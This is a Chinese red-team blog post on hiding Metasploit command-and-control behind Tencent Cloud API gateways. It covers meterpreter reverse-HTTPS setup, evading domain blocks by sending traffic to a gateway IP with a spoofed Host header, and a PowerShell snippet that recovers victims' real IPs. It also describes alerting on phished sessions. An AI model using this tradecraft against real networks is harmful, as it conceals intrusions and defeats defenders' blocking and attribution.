如何在MSF中高效的使用云函数

Simon2021-10-20 15:51:35

在攻防对抗过程中,使用云函数来隐藏C2是一种常见的手法,互联网也有很多教程来指导如何配置,但目前公开的文章中都是介绍如何在CobaltStrike中使用云函数,还没有文章介绍如何在metasploit-framework中使用。

本文详细介绍在metasploit-framework中云函数的使用方法及相关技巧,希望通过本文能够对红队同学在红蓝对抗过程中有所帮助。

01

原始配置方法

此处使用Viper的操作方法进行说明,在metasploit-framework中参考对应配置参数即可。

配置监听(Handler)


  • 一定要选择windows/meterpreter_reverse_https类型的监听,不能选择windows/meterpreter/reverse_https类型监听。
  • windows/meterpreter/reverse_https需要网络传输stager,stager内容在经过云函数的转发过程中会进行编码转换,导致加载失败,而windows/meterpreter_reverse_https已经将stager内置在exe文件中。
  • LPORT尽量选择443/8443等常用的端口,确保不会被屏蔽。


效果如下:

配置云函数

  • 打开API网关页面
  • https://console.cloud.tencent.com/apigateway/service?rid=1
  • 新建一个API网关


  • 选择公网类型

  • 点击新建的服务,进入配置界面


  • 新建一个通用api,配置如下图

  • 请求方法选择ANY是因为meterpreter使用GET请求获取命令,POST请求回传结果。

  • 后端域名中填写监听的IP地址及端口,后端路径填写为/


  • 响应结果中选择BINARY类型,因为在使用meterpreter进行上传下载文件时传输的是二进制文件


  • 配置成功的效果如下图


  • 公网域名信息需要记录下来,后续会用到

生成配套的载荷(Payload)

  • 载荷按照如下配置,点击生成exe

  • metasploit-framework中配置方法

  • LHOST填写为云函数的域名
  • LPORT固定填写为443
  • 如果在监听(Handler)中配置了LURI及证书,这里需要和监听配置的一样

运行上线

原理解析

上文中使用云函数上线在原理上并不复杂,可以理解为将云函数作为https的反向代理使用。

02

对抗域名封禁

相比于CDN,域前置等老派隐藏C2的方法,云函数在方便性及速度上都有优势,所以在最近几次HW行动中很多红队人员都在使用,防守方对此也格外关注。

其中防守方最常见的方法就是在HW期间直接封禁类似*.apigw.tencentcs.com这种域名,禁止解析访问。

或者设置对应告警,一旦红队人员使用云函数上线,防守方马上就能定位到哪台机器已经失陷,然后修复漏洞。

接下来介绍如何对抗蓝队的域名封禁。

获取云函数网关IP

  • 打开https://www.ping.cn/dns,将云函数域名输入后查询。


  • 选择一个云函数官方服务器的IP地址,这里选择140.143.51.244

生成配套的载荷(Payload)

  • 载荷按照如下配置,点击生成exe

  • metasploit-framework中配置方法

  • LHOST填写为140.143.51.244(云函数网关)
  • HttpHostHeader填写为云函数的域名

运行上线

原理解析

这种方式上线与原始配置方法的区别在于载荷(payload)并不会访问域名*.apigw.tencentcs.com,也不会在目标网络产生相关的DNS记录,也就绕过了针对域名的封禁。

因为云函数网关在转发https请求时是根据http消息头中Host字段进行转发,所以我们将云函数域名直接填写在http消息头的host字段中,然后将http请求通过IP地址方式直接发送到云函数网关,同样可以达到反向代理的效果。

03

获取真实IP

云函数的缺陷

在使用云函数隐藏C2时都会遇到一个问题,就是无法获取到目标机的网络出口IP地址。


上图中session 3是直接上线时的效果,可以看到我们可以通过目标主机的互联网出口IP进行地理位置定位。

session 1是使用云函数上线时的效果,只能获取到云函数的网关IP。

如果在HW或红队评估过程中,红队人员是通过广撒网钓鱼的方式投递载荷,C2服务可能会收到很多来自云沙箱的Session,因为Session的IP地址固定为云函数网关IP,红队人员就无法确定该Session是否有效。

获取真实IP

互联网有很多在线接口可以查询自己的公网ip地址,比如https://ifconfig.io/ip


通过session访问https://ifconfig.io/ip,我们就可以获取到session真实的ip地址。

poweshell代码


$WebRequest = [System.Net.WebRequest]::Create("http://ifconfig.io/ip")$WebRequest.Method = "GET"$WebRequest.ContentType = "application/json"$Response = $WebRequest.GetResponse()$ResponseStream = $Response.GetResponseStream()$ReadStream = New-Object System.IO.StreamReader $ResponseStream$Data = $ReadStream.ReadToEnd()Write-Host $Data


执行效果:

自动化通知

在攻防对抗中,如果使用鱼叉钓鱼的方式投递载荷,红队人员想要在获取到session后第一时间得到通知,然后判断session是不是有效的,那自动化通知的方式就必不可少。

大致的流程如下:

  • 配置云函数隐藏C2,确保自己不被溯源
  • 获取到session后自动获取真实ip
  • 将session的相关信息及获取到的真实ip通过消息通知的方式发送到手机

我们来看一下最终效果:

04

结语

攻防对抗过程中很多红队技术并不复杂,但是在提升技术的可用性和工程化落地方面也是很有必要且很有挑战的一件事。希望本文对各位红队同学在使用云函数时有所帮助。

域名服务器session
本作品采用《CC 协议》,转载必须注明作者和本文链接
来自关于在AWS EC2实例中使用错误配置、公开允许的IAM策略和应用程序安全漏洞getshell并超越攻击面的演讲幻灯片 —来自2019年8月旧金山湾区的OWASP会上演讲。概要该演讲主要涵盖了三个场景,它们是使用渗透测试练习的真实环境案例来搭建的,即可用于练习shell访问和访问EC2实例之外的数据的环境。我们使用此信息来发现其他存储桶,其中一个包含多个 SSH 密钥。
内网渗透TIPS总结
2023-01-28 11:00:41
内网基础知识1、工作组:工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
Web安全常见漏洞修复建议
用户帐户控制(User Account Control) 是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。 如果计算机的操作系统版本是windows VIsta或更高,在权限不够的情况下,访问系统磁盘的根目录、windows目录、Program FIles 目录,以及读、写系
一个内网安全攻防的知识仓库
神器 Nginx 的学习手册
2022-02-23 07:35:52
Nginx 是一个高性能的 HTTP 和反向代理服务器,特点是占用内存少,并发能力强,事实上 Nginx 的并发能力确实在同类型的网页服务器中表现较好。 Nginx 专为性能优化而开发,性能是其最重要的要求,十分注重效率,有报告 Nginx 能支持高达 50000 个并发连接数。 01 Nginx 知识网结构图 Nginx 的知识网结构图如下:
信息搜集:开源情报信息收集、创建企业密码字典进入内网:基于企业弱账号漏洞、基于系统漏洞进入、网站应用程序渗透隐匿攻击:Command and Control、代理内网跨边界应用:内网跨边界转发、内网跨边界代理穿透、shell反弹等
创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。粘滞键的主要功能是方便Shift等键的组合使用。ScreenSaveActive表示屏保状态,1为启动,0为关闭。未注入票据访问域控被拒绝。
APP开发的背景知识的介绍APP开发遵循逻辑和视图分离的思想:我们创建一个activity,android studio会自动生成其对应的xml文件。视图视图在xml中定义:可以直接可视化移动一个按钮进视图,也可以用代码编写。
Simon
暂无描述